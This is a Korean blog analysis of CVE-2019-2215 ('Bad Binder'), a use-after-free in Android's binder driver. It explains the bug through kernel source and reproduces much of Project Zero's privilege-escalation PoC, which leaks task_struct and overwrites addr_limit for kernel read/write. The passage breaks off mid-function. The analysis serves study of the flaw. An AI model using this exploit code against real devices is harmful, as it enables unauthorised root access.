좀 열심히 쓴 글

[Project Zero] Bad Binder: Android In-The-Wild Exploit 분석글

ch4rli3kop 2020. 3. 7. 18:51
반응형

[Project Zero] Bad Binder: Android In-The-Wild Exploit

Target : https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html?m=1

Vulnerability : CVE-2019-2215


Index

Report Summary

본 보고서에서 소개하는 취약점은 Android binder에서 발생하는 Use-After-Free 취약점입니다.

간단하게 요약하면, epoll을 사용하는 thread에 대해 BINDER_THREAD_EXIT를 이용하여 종료시키면 waitqueue를 포함한 binder_thread가 free가 되게 되는데, epoll 내의 데이터 구조체에서는 해당 정보가 사라지지 않아, epoll이 종료될 때 해당 waitlist에 접근하게 되면서 use-after-free 취약점이 발생하게 됩니다.

자세한 내용은은 뒤에서 자세히 서술하도록 하겠습니다.

다음은 syzkaller에서 보고된 original PoC입니다.

#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define BINDER_THREAD_EXIT 0x40046208ul

int main()
{
       int fd, epfd;
       struct epoll_event event = { .events = EPOLLIN };
               
       fd = open("/dev/binder", O_RDONLY);
       epfd = epoll_create(1000);
       epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
       ioctl(fd, BINDER_THREAD_EXIT, NULL);
}

epoll을 이용하여 fd를 감시하게 한 뒤, BINDER_THREAD_EXIT ioctl을 사용하여 binder_thread를 free 시킵니다. 이 후, epoll이 종료되면서 free된 binder_thread 내의 wait_queue_head_t에 접근하게 되면, use-after-free Bug가 발생하게 됩니다.

Prior knowledge

Epoll

epoll은 select()poll()의 단점을 보완하기 위해 만들어진 리눅스 이벤트 통지 입출력 처리 모델입니다. 다중 file descriptors에 대하여 모니터링을 수행함으로써 Input/Output이 가능한지 확인합니다. 기존 모델들과 다르게 file descriptor 감시를 사용자가 아닌 커널에서 수행해주기 때문에 동작이 빠르며, 사용자가 직접 모든 file descriptor에 대해 루프를 돌며 감시를 하지 않아도 이벤트가 발생한 file descriptor에 대해 알 수 있다는 장점이 있습니다.

다음과 같이 사용합니다.

#include <sys/epoll.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]){
   int fd, epfd, evnum;
   struct epoll_event event;
   struct epoll_event events[MAX_EVENTS];
   
   
   event.events = EPOLLIN | EPOLLOUT | EPOLLERR;
   event.data.fd = STDIN_FILED;
   epfd = epoll_create(0x100);
   
fd = ...  
   
   epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
   evnum = epoll_wait(epfd, events, MAX_EVENTS, 10);
   
  ...
}

Binder

바인더는 운영체제 혹은 시스템에서 제공해 주는 기능을 컴포넌트/모듈 형태로 운영할 수 있도록 설계된 오픈 소스 솔루션입니다. BeOS에서부터 시작되어 현재 Android 환경에서 사용하고 있습니다. 가장 큰 특징으로는 객체 지향적인 운영체제 환경을 제공한다는 점이 있습니다. Android와 같은 소형 모바일 기기에서는 다양한 하드웨어 장치가 존재하기 때문에, 이를 이용하는 방법에서 더 많은 유연성을 가지고 시스템 설계가 가능하다는 점에 있어 Binder를 사용하는 것이 유리합니다.

Android에서 기본적으로 제공하는 시스템 기능(카메라, 마이크, 스피커 등)들은 서버 프로세스 형태로 제공됩니다. 따라서 만약 특정 앱 프로세스가 카메라와 같은 시스템 기능을 사용하기 위해서는 카메라 서버 프로세스와의 Request/Response 통신이 필요합니다. 이때 이러한 Request/Response 사이에서 중간자 역할을 수행하는 것이 Binder 입니다.

img

Vectored I/O

Scatter/gather I/O라고도 불리우는 이 방법은 복수의 버퍼로부터 데이터를 읽어들여 하나의 데이터 스트림으로 쓰거나, 하나의 데이터 스트림을 읽어 복수의 버퍼에 데이터를 쓰는 방법입니다.

Scattering Reads

Java Nio Tutorial11

Gathering Writes

Java Nio tutorial12

이 방법은 특히나 데이터가 인접하지 않은 메모리 영역에 존재하거나, 헤더와 데이터로 나눠질 수 있는 데이터를 관리할 때 유용하게 사용됩니다.

Vectored I/O는 다음과 같은 include/uapi/linux/uio.h에 선언된 iovec 구조체 배열을 사용하며, readvwritev 등의 syscall을 사용하여 동작합니다.

struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};


Bug Details

drivers/android/binder.c에 정의된 binder_thread 구조체는 다음과 같습니다.

 struct binder_thread {
       struct binder_proc *proc;
       struct rb_node rb_node;
       struct list_head waiting_thread_node;
       int pid;
       int looper;              /* only modified by this thread */
       bool looper_need_return; /* can be written by other thread */
       struct binder_transaction *transaction_stack;
       struct list_head todo;
       bool process_todo;
       struct binder_error return_error;
       struct binder_error reply_error;
       wait_queue_head_t wait;
       struct binder_stats stats;
       atomic_t tmp_ref;
       bool is_dead;
       struct task_struct *task;
};

binder_thread 구조체는include/linux/wait.h에 다음과 같이 wait_queue_head_t으로 정의된 wait을 멤버로 가집니다.

 struct __wait_queue_head {
       spinlock_t              lock;
       struct list_head        task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;

list_head의 경우 include/linux/types.h에 다음과 같이 정의되어 있습니다.

struct list_head {
struct list_head *next, *prev;
};

앞서 설명했듯이, 본 취약점은 epoll을 사용하는 thread에서 BINDER_THREAD_EXIT ioctl call을 호출하여 binder_thread를 free 시키면, epoll의 cleanup 코드가 free된 binder_thread 내의 wait_queue_head_t에 접근하게 되면서 발생합니다. 해당 과정들을 살펴보면 다음과 같습니다.


Free 과정

다음은 binder_thread가 free되는 과정입니다. BINDER_THREAD_EXIT ioctl call은 다음의 binder_ioctl()을 통해 구현됩니다. switch case 문을 살펴보면 BINDER_THREAD_EXIT에 대해 binder_free_thread(proc, thread)을 호출하는 것을 확인할 수 있습니다.

static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
int ret;
struct binder_proc *proc = filp->private_data;
struct binder_thread *thread;
unsigned int size = _IOC_SIZE(cmd);
void __user *ubuf = (void __user *)arg;

/*pr_info("binder_ioctl: %d:%d %x %lx\n",
proc->pid, current->pid, cmd, arg);*/

trace_binder_ioctl(cmd, arg);

ret = wait_event_interruptible(binder_user_error_wait, binder_stop_on_user_error < 2);
if (ret)
goto err_unlocked;

binder_lock(__func__);
thread = binder_get_thread(proc);
if (thread == NULL) {
ret = -ENOMEM;
goto err;
}

switch (cmd) {
case BINDER_WRITE_READ:
ret = binder_ioctl_write_read(filp, cmd, arg, thread);
if (ret)
goto err;
break;
case BINDER_SET_MAX_THREADS:
if (copy_from_user(&proc->max_threads, ubuf, sizeof(proc->max_threads))) {
ret = -EINVAL;
goto err;
}
break;
case BINDER_SET_CONTEXT_MGR:
ret = binder_ioctl_set_ctx_mgr(filp);
if (ret)
goto err;
break;
case BINDER_THREAD_EXIT:
binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
    proc->pid, thread->pid);
binder_free_thread(proc, thread);
thread = NULL;
break;
case BINDER_VERSION: {
struct binder_version __user *ver = ubuf;

if (size != sizeof(struct binder_version)) {
ret = -EINVAL;
goto err;
}
if (put_user(BINDER_CURRENT_PROTOCOL_VERSION,
    &ver->protocol_version)) {
ret = -EINVAL;
goto err;
}
break;
}
default:
ret = -EINVAL;
goto err;
}
ret = 0;
err:
if (thread)
thread->looper &= ~BINDER_LOOPER_STATE_NEED_RETURN;
binder_unlock(__func__);
wait_event_interruptible(binder_user_error_wait, binder_stop_on_user_error < 2);
if (ret && ret != -ERESTARTSYS)
pr_info("%d:%d ioctl %x %lx returned %d\n", proc->pid, current->pid, cmd, arg, ret);
err_unlocked:
trace_binder_ioctl_done(ret);
return ret;
}

호출한 binder_free_thread()는 다음과 같습니다. 사실 본 보고서에서 언급하는 use-after-free 취약점에 대한 패치가 이 함수에서 이루어집니다. 이에 대해서는 뒤에서 따로 서술하겠습니다.

static int binder_free_thread(struct binder_proc *proc,
     struct binder_thread *thread)
{
struct binder_transaction *t;
struct binder_transaction *send_reply = NULL;
int active_transactions = 0;

rb_erase(&thread->rb_node, &proc->threads);
t = thread->transaction_stack;
if (t && t->to_thread == thread)
send_reply = t;
while (t) {
active_transactions++;
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
    "release %d:%d transaction %d %s, still active\n",
     proc->pid, thread->pid,
    t->debug_id,
    (t->to_thread == thread) ? "in" : "out");

if (t->to_thread == thread) {
t->to_proc = NULL;
t->to_thread = NULL;
if (t->buffer) {
t->buffer->transaction = NULL;
t->buffer = NULL;
}
t = t->to_parent;
} else if (t->from == thread) {
t->from = NULL;
t = t->from_parent;
} else
BUG();
}
if (send_reply)
binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
binder_release_work(&thread->todo);
kfree(thread);
binder_stats_deleted(BINDER_STAT_THREAD);
return active_transactions;
}

binder_free_thread()의 경우 binder의 transaction과 관련된 작업들을 처리하고 kfree(thread)를 통하여 binder_thread를 free 시킵니다.


Use (after Free) 과정

Project Zero의 original poc에 대한 kasan report에서 발생한 Call trace는 다음과 같습니다.

[  464.504747] c0   3033 BUG: KASAN: use-after-free in remove_wait_queue+0x48/0x90
[  464.511836] c0   3033 Write of size 8 at addr 0000000000000000 by task new.out/3033
[  464.518893] c0   3033
[  464.526548] c0   3033 CPU: 0 PID: 3033 Comm: new.out Tainted: G         C      4.4.177-ga9e0ec5cb774 #1
[  464.529044] c0   3033 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
[  464.538334] c0   3033 Call trace:
[  464.545928] c0   3033 [<ffffff900808f0e8>] dump_backtrace+0x0/0x34c
[  464.549328] c0   3033 [<ffffff900808f574>] show_stack+0x1c/0x24
[  464.555411] c0   3033 [<ffffff900858bcc8>] dump_stack+0xb8/0xe8
[  464.561319] c0   3033 [<ffffff90082b1ecc>] print_address_description+0x94/0x334
[  464.567219] c0   3033 [<ffffff90082b23f0>] kasan_report+0x1f8/0x340
[  464.574501] c0   3033 [<ffffff90082b0740>] __asan_store8+0x74/0x90
[  464.580753] c0   3033 [<ffffff9008139fc0>] remove_wait_queue+0x48/0x90
[  464.587125] c0   3033 [<ffffff9008336874>] ep_unregister_pollwait.isra.8+0xa8/0xec
[  464.593617] c0   3033 [<ffffff9008337744>] ep_free+0x74/0x11c
[  464.601149] c0   3033 [<ffffff9008337820>] ep_eventpoll_release+0x34/0x48
[  464.606988] c0   3033 [<ffffff90082c589c>] __fput+0x10c/0x32c
[  464.613724] c0   3033 [<ffffff90082c5b38>] ____fput+0x18/0x20
[  464.619463] c0   3033 [<ffffff90080eefdc>] task_work_run+0xd0/0x128
[  464.625193] c0   3033 [<ffffff90080bd890>] do_exit+0x3e4/0x1198
...

프로세스가 종료되면서 do_exit()부터 시작하여 함수가 호출되다가 ep_unregister_pollwait()가 호출되고 최종적으로 remove_wait_queue()에서 use-after-free가 발생하게 됩니다.

KASAN report의 환경인 q-dev-msm-wahoo-4.4-qt와 kernel이 달라서 그런지 제가 분석한 goldfish-4.4-dev에서는 중간에 ep_remove_wait_queue()가 추가되어, ep_unregister_pollwait() -> ep_remove_wait_queue() -> remove_wait_queue() 순으로 call이 진행되었습니다.

/fs/eventpoll.c에 정의된 ep_unregister_pollwait()은 다음과 같습니다.

/* Wait structure used by the poll hooks */
struct eppoll_entry {
/* List header used to link this structure to the "struct epitem" */
struct list_head llink;

/* The "base" pointer is set to the container "struct epitem" */
struct epitem *base;

/*
* Wait queue item that will be linked to the target file wait
* queue head.
*/
wait_queue_t wait;

/* The wait queue head that linked the "wait" wait queue item */
wait_queue_head_t *whead;
};

/*
* This function unregisters poll callbacks from the associated file
* descriptor. Must be called with "mtx" held (or "epmutex" if called from
* ep_free).
*/
static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
{
struct list_head *lsthead = &epi->pwqlist;
struct eppoll_entry *pwq;

while (!list_empty(lsthead)) {
pwq = list_first_entry(lsthead, struct eppoll_entry, llink);

list_del(&pwq->llink);
ep_remove_wait_queue(pwq);
kmem_cache_free(pwq_cache, pwq);
}
}

ep_unregister_pollwait()에서는 eppoll_entry linked list에 대해서 탐색을 수행하며 하나씩 ep_remove_wait_queue()를 호출하여 list에서 제거합니다. 이 eppoll_entry 중 앞서 free된 binder_thread와 관련된 entry가 존재할 것입니다.

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
wait_queue_head_t *whead;

rcu_read_lock();
/*
* If it is cleared by POLLFREE, it should be rcu-safe.
* If we read NULL we need a barrier paired with
* smp_store_release() in ep_poll_callback(), otherwise
* we rely on whead->lock.
*/
whead = smp_load_acquire(&pwq->whead);
if (whead)
remove_wait_queue(whead, &pwq->wait);
rcu_read_unlock();
}

ep_remove_wait_queue()에서는 가져온 eppoll_entry에 대해 wait queue head와 wait queue를 인자로 remove_wait_queue()를 호출합니다.

 void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
       unsigned long flags;
       spin_lock_irqsave(&q->lock, flags);
       __remove_wait_queue(q, wait);
       spin_unlock_irqrestore(&q->lock, flags);
}

KASAN report에서 발견한 부분은 위의 remove_wait_queue()의 코드 중 spin_lock_irqsave() 부분입니다.

include/linux/spinlock.h에 매크로로 정의된 spin_lock_irqsave()는 다음과 같은데, lock 값에 따라 flag를 업데이트 하는 함수입니다.

#define raw_spin_lock_irqsave(lock, flags)          \
do { \
typecheck(unsigned long, flags); \
flags = _raw_spin_lock_irqsave(lock); \
} while (0)

#define spin_lock_irqsave(lock, flags) \
do { \
raw_spin_lock_irqsave(spinlock_check(lock), flags); \
} while (0)

spin_lock_irqsave()를 통해 lock에 접근할 때, free된 binder_thread에 대한 wait_queue_head_t를 참조하므로 이 부분에서 use-after-free bug가 발생하게 됩니다.


Exploit Vulnerability

KASAN report에 따르면 remove_wait_queue() 내의 spin_lock_irqsave()에서 Crash가 발생할 것으로 예측되지만, 사실 실제 디바이스 상에서는 free된 wait queue에 대한 접근이 큰 문제가 되지 않을 가능성이 큽니다. lock의 경우 0 혹은 1 이상의 값으로 lock의 유무를 판단하게 되는데, 이 때 해당 값이 0일 가능성이 매우 크기 때문에, 문제 없이 __remove_wait_queue()로 넘어가게 됩니다.

CONFIG_DEBUG_LIST 같은 옵션이 enable 되지 않았다면, __remove_wait_queue()는 최종적으로 __list_del()을 호출합니다. (CONFIG_DEBUG_LIST가 enable 되었다면, prev와 next에 대해 체크루틴이 추가되기 때문에 본 보고서에서 소개하는 exploit을 수행 할 수 없습니다.)

 void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
       unsigned long flags;
       spin_lock_irqsave(&q->lock, flags);
       __remove_wait_queue(q, wait);
       spin_unlock_irqrestore(&q->lock, flags);
}

static inline void
__remove_wait_queue(wait_queue_head_t *head, wait_queue_t *old)
{
list_del(&old->task_list);
}

static inline void
list_del(struct list_head *entry)
{
   __list_del(entry->prev, entry->next);
}

static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
WRITE_ONCE(prev->next, next);
}

__list_del()은 결국 doubly circular linked list에 대해 unlink를 수행하는 함수입니다.

unlink가 동작하는 과정에 앞서 wait_queue_head 와 wait_queue의 구성은 다음과 같습니다.

struct __wait_queue {
unsigned int flags;
void *private;
wait_queue_func_t func;
struct list_head task_list;
};
typedef __wait_queue wait_queue_t;

struct __wait_queue_head {
       spinlock_t              lock;
       struct list_head        task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;

struct list_head {
struct list_head *next, *prev;
};



Reference : https://blog.csdn.net/bytxl/article/details/39151935

가장 첫 번째 chunk가 wait_queue_head이고, 그 뒤부터가 wait_queue chunk입니다. wait queue head와 wait queue는 연결되어 있습니다. 따라서 __list_del()로 wait queue를 unlink 하면 wait queue head의 prev와 next에 영향을 미칠 수 있습니다. unlink의 자세한 동작과정은 뒤의 leak kernel task_struct's address에서 자세히 서술하겠습니다.

본 보고서에서는 이 unlink를 이용하여 Exploit을 시도합니다. Exploit은 다음 두 단계를 통해 수행됩니다.

  1. Leak kernel task_struct's address

  2. Overwrite task_struct's addr_limit

  3. Arbitrary read/write in kernel space


Leak kernel task_struct's address

앞의 Prior knowledge 파트에서 설명한 Vectored I/O를 이용하여 read/write를 수행합니다. readv(), writev(), recvmsg()같은 Vecotred I/O operation들은 user space에 존재하는 I/O vector array를 kernel space로 넣어주는데, 이 때 free된 binder_thread의 공간에 iovec를 할당하여, read함으로써 kernel address를 가져올 수 있습니다.

struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};

free된 binder_thread 영역에 다음과 같이 iovec array를 할당합니다.

binder_thread가 free된 해당 영역을 다시 할당받기 위해, iovec array의 크기를 비슷하게 맞춰주어야 합니다. binder_thread의 크기가 0x198이므로 약 25개의 iovec를 할당합니다. wait_queue_head_t wait의 영역은 0xA0: iovec[10].iov_base, 0xA8: iovec[10].iov_len, 0xB0: iovec[11].iov_base입니다.

앞부분들은 빠르게 넘어갈 수 있게, 모두 0으로 초기화합니다. wait.lock의 경우에는, 0이 아닌 값이 오면 deadlock에 걸릴 수 있으므로 해당 4바이트는 0으로 만들어주고, 또한 iov_base에는 user space의 유효한 주소 값이 들어가야 하므로 4bytes로 align된 주소를 새로 할당받아 넣어줘야 합니다. iovec[10].iov_len에는 page size의 크기가 들어있고, iovec[11].iov_base의 경우 leak된 kernel 주소가 들어갈 위치입니다. 실제로 iov_base에 대해 check 루틴이 존재하지만, leak된 kernel의 주소 값이 들어가는 것은 block된 도중이기 때문에 해당 check 루틴을 우회할 수 있게됩니다.

다음은 unlink 과정이 실제 어떻게 이루어지는지 살펴보겠습니다. __list_del()을 호출하기 직전의 상황은 다음과 같습니다. list head는 wait queue head 부분이고, entry to be deleted 부분이 wait queue 부분입니다. 처음 list head의 prev 값은 0xDEADBEEF이고, next 값은 0x1000입니다.

https://1.bp.blogspot.com/-y_RCmtK1Ig4/XdbPaGxQL2I/AAAAAAAAOeQ/Fffs-rsks2UAS95R_9SI28OWhGgQWJJEQCNcBGAsYHQ/s1600/CVE-2019-2215%2BUAF-before%2Blist_del%2B%25281%2529.png

그러나 __list_del()을 수행한 뒤에는, entry to be deleted의 next는 list head이기 때문에 list head->prev = list head이고, 마찬가지로 entry to be deleted의 prev 또한 list head이기 때문에 list head->next = list head가 됩니다. 따라서 __list_del()을 수행한 뒤에는 wait queue head의 prev와 next에는 모두 wait queue head 자기 자신의 kernel address가 저장되게 됩니다.

https://1.bp.blogspot.com/-sP22v5BH4Zs/XdbPiqTC4DI/AAAAAAAAOeU/ZJ30_sFRmg8b82soubGn5fExM2ZCON2eQCNcBGAsYHQ/s1600/CVE-2019-2215%2BUAF-post%2Blist_del%2B%25281%2529.png

위에서 설명한 unlink를 통해 kernel address를 읽어오는 과정은 다음과 같습니다.

  1. initail iovec array를 생성합니다.

  2. pipe를 생성합니다.

  3. fork()를 통해 자식 프로세스를 생성합니다.

  4. 부모 프로세스에서는 BINDER_THREAD_EXIT을 통해 binder_thread를 free 시키고, 자식 프로세스에서는 sleep()으로 동작을 잠시 멈춥니다.

  5. 부모 프로세스는 자식 프로세스에게로 writev()를 이용하여 iovec array를 보내는데, 0인 것들은 패스하고 iovec[10] 부터 차례대로 보냅니다. Vectored I/O의 특징 중 한가지는 iovec가 가득 찬 뒤에 다음 iovec를 사용한다는 점과 readv()할 때까지 block된 다는 점입니다. 따라서 iovec[10]을 모두 writev()한 뒤 block 됩니다.

  6. 자식 프로세스에서 EPOLL_CTL_DEL을 통해 list_del()을 호출합니다. unlink 과정이 수행되어 iovec[10].iov_len과 iovec[11].iov_base 값이 현재 wait queue head의 주소로 바뀌게 됩니다. 자식 프로세스에서 readv()를 수행합니다. 이제 부모 프로세스에서는 block이 해제되어 남은 writev() 동작을 수행합니다.

  7. 부모 프로세스에서 readv()를 수행하여 leak된 kernel 값을 가져옵니다.

https://1.bp.blogspot.com/-XnMFVKXMjgk/XdbN4AL9zfI/AAAAAAAAOeA/BDRJcJQb_QwZ3uvHNhGeuiWNOWoheYdtACNcBGAsYHQ/s1600/CVE-2019-2215%2BUAF-Flow%2Bgraph%2Bfor%2Bblog.png

iovec[11].iov_base의 값은 binder_thread + 0xa8의 주소입니다. offset을 계산해 보았을 때, binder_thread 내의 task_struct의 주소는 binder_thread + 0x190입니다. task_struct의 시작 주소를 current_ptr이라고 정의하겠습니다.


Overwrite task_struct's addr_limit

leak한 task_struct 내의 addr_limit(+0x08)은 함수로 전달되는 인자가 user space 범위 내에 있는지 아닌지 확인하는 데에 사용되는 기준 값입니다. 이 값을 0xfffffffffffffffe 같은 매우 큰 값으로 덮어씌게 되면, 사실상 kernel space에 Arbitrary Read/Write가 가능하게 됩니다.

이 addr_limit을 덮기 위해서는 writev() 대신, recvmsg()를 사용합니다. recvmsg() 역시 iovec을 사용하는 syscall입니다.

task_struct의 addr_limit을 overwrite하는 과정은 다음과 같습니다.

  1. 초기 iovec array를 다음과 같이 초기화합니다.

      iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;
     iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1;
     iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF;
     iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10;
     iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
     iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;
  2. 부모 프로세스는 자식 프로세스로부터 iov_len 만큼의 데이터를 받아 iov_base 주소에 저장합니다. 이때, 자식 프로세스의 write 동작은 다음과 같이 구성됩니다.

    1. 테스트용 dummy 1 byte

    2. unsigned long second_write_chunk[] = {
       1, /* iov_len */
       0xdeadbeef, /* iov_base (already used) */
       0x8 + 2 * 0x10, /* iov_len (already used) */
       current_ptr + 0x8, /* next iov_base (addr_limit) */
       8, /* next iov_len (sizeof(addr_limit)) */
       0xfffffffffffffffe /* value to write */
      };
  3. 먼저, IOVEC_INDX_FOR_WQ(=10) 번째 인덱스의 iovec에 대하여 recvmsg()를 수행합니다. 부모 프로세스는 자식 프로세스로부터 1 byte의 dummy byte를 받아 dummy_page_4g_aligned 주소에 저장합니다.

  4. 자식 프로세스는 EPOLL_CTL_DEL를 수행하여 unlink를 수행합니다. 해당 결과로 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base의 값이 wait queue head의 kernel 주소가 되었습니다.

  5. iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base를 기준으로 recvmsg()가 수행됩니다. iovec_array[IOVEC_INDX_FOR_WQ].iov_len부터 0x28 크기의 값이 덮여씌인 결과, iovec array는 다음과 같습니다. iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base의 값은 0xdeadbeef을 거쳐, iovec_array[IOVEC_INDX_FOR_WQ].iov_len의 주소 값이 되었다가 다시 0xdeadbeef로 바뀌었고, iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_basetask_struct의 addr_limit의 주소로 바뀌었습니다.

      iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1;
     iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = 0xdeadbeef
     iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10;
     iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = current_ptr + 0x8;
     iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8;
  6. 이제 마지막으로 부모 프로세스에서 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base에 대하여 recvmsg()가 수행됩니다. 현재 task_struct의 addr_limit을 가리키고 있기 때문에, addr_limit에 자식 프로세스의 write 데이터에서 마지막으로 남은 0xFFFFFFFFFFFFFFFE를 쓰게 됩니다. 0xFFFFFFFFFFFFFFFF보다 1이 작은 것은 segment_eq(get_fs(), KERNEL_DS) 체크를 우회하기 위함입니다.

Arbitrary read/write in kernel space

addr_limit을 0xFFFFFFFFFFFFFFFE으로 덮어씌웠기 때문에 사실상 이제 kernel space에 Arbitrary Read/Write가 가능합니다. user space에서 직접적으로 접근할 수는 없기 때문에, pipe를 이용하여 앞서 했던 것과 유사하게 kernel space에 접근할 수 있습니다.

task_struct 내의 process 권한 등을 갖고 있는 cred 구조체를 수정하여 process 권한을 root 권한으로 상승시키는 방법 등이 존재합니다.


Analysis POC

Project Zero의 Privilege Escalation PoC는 여기에서 확인하실 수 있습니다.

해당 코드를 살짝 살펴보면 다음과 같습니다.

main

int main(void) {
 printf("Starting POC\n");
 //pin_to(0);

 dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
 if (dummy_page_4g_aligned != (void*)0x100000000UL)
   err(1, "mmap 4g aligned");
 if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");

 binder_fd = open("/dev/binder", O_RDONLY);
 epfd = epoll_create(1000);
 leak_task_struct();
 clobber_addr_limit();

  ...

dummy_page_4g_aligned로 사용할 공간을 할당 받고, epoll을 사용할 준비를 마칩니다.

leak_task_struct

void leak_task_struct(void)
{
 struct epoll_event event = { .events = EPOLLIN };
 if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

 struct iovec iovec_array[IOVEC_ARRAY_SZ];
 memset(iovec_array, 0, sizeof(iovec_array));

 iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
 iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;

 int b;
 
 int pipefd[2];
 if (pipe(pipefd)) err(1, "pipe");
 if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
 static char page_buffer[0x1000];
 //if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe");

 pid_t fork_ret = fork();
 if (fork_ret == -1) err(1, "fork");
 if (fork_ret == 0){
   /* Child process */
   prctl(PR_SET_PDEATHSIG, SIGKILL);
   sleep(2);
   printf("CHILD: Doing EPOLL_CTL_DEL.\n");
   epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
   printf("CHILD: Finished EPOLL_CTL_DEL.\n");
   // first page: dummy data
   if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
   close(pipefd[1]);
   printf("CHILD: Finished write to FIFO.\n");

   exit(0);
}
 //printf("PARENT: Calling READV\n");
 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
 b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
 printf("writev() returns 0x%x\n", (unsigned int)b);
 // second page: leaked data
 if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
 //hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer));

 printf("PARENT: Finished calling READV\n");
 int status;
 if (wait(&status) != fork_ret) err(1, "wait");

 current_ptr = *(unsigned long *)(page_buffer + 0xe8);
 printf("current_ptr == 0x%lx\n", current_ptr);
}

위에서 설명한 대로 자식 프로세스를 생성하여 blocking 과정을 구현하였으며, 다음과 같이 구성해놓은 iovec_array를 활용하여 ovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base에 저장될 kernel address를 가져오는 것을 확인할 수 있습니다.

  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned;
 iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000;
 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF;
 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;

clobber_addr_limit

void clobber_addr_limit(void)
{
 struct epoll_event event = { .events = EPOLLIN };
 if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

 struct iovec iovec_array[IOVEC_ARRAY_SZ];
 memset(iovec_array, 0, sizeof(iovec_array));

 unsigned long second_write_chunk[] = {
   1, /* iov_len */
   0xdeadbeef, /* iov_base (already used) */
   0x8 + 2 * 0x10, /* iov_len (already used) */
   current_ptr + 0x8, /* next iov_base (addr_limit) */
   8, /* next iov_len (sizeof(addr_limit)) */
   0xfffffffffffffffe /* value to write */
};

 iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
 iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
 iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
 iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */

 int socks[2];
 if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
 if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");

 pid_t fork_ret = fork();
 if (fork_ret == -1) err(1, "fork");
 if (fork_ret == 0){
   /* Child process */
   prctl(PR_SET_PDEATHSIG, SIGKILL);
   sleep(2);
   printf("CHILD: Doing EPOLL_CTL_DEL.\n");
   epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
